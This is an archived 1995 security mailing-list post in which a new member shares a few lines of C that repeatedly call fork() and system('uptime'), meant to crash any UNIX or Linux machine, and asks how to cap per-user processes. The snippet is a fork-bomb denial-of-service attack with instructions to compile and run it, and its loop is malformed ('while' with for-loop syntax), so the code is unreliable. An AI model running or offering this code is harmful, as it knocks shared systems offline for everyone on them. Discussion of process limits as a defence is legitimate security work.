|
Neohapsis is currently accepting applications for employment. For more information, please visit our website www.neohapsis.com or email hr@neohapsis.com |
fork()
Alex Leipold (aleipold
clark.net)Sun, 10 Dec 1995 10:45:37 -0500
- Messages sorted by: [ date ][ thread ][ subject ][ author ]
- Next message: Pete Shipley: "Re: Another tmpfs bug in SunOS 4"
- Previous message: Arfst Ludwig: "little whole on Suns concerning /dev/kbd"
- Next in thread: Scott Barman: "Re: fork()"
O'm new to the list, so Im not sure if this has been covered, but someone
can crash any system with a few lines of code. (tested on UNIX, LINUX)
main() {
int x;
while(x=0;x<1000000;x++)
{
system("uptime");
fork();
}
}
Gcc it, run it and whatever system your on will crash. Is their any way
to stop users from doing this? I.e. restricting number of process that
can run?
- Next message: Pete Shipley: "Re: Another tmpfs bug in SunOS 4"
- Previous message: Arfst Ludwig: "little whole on Suns concerning /dev/kbd"
- Next in thread: Scott Barman: "Re: fork()"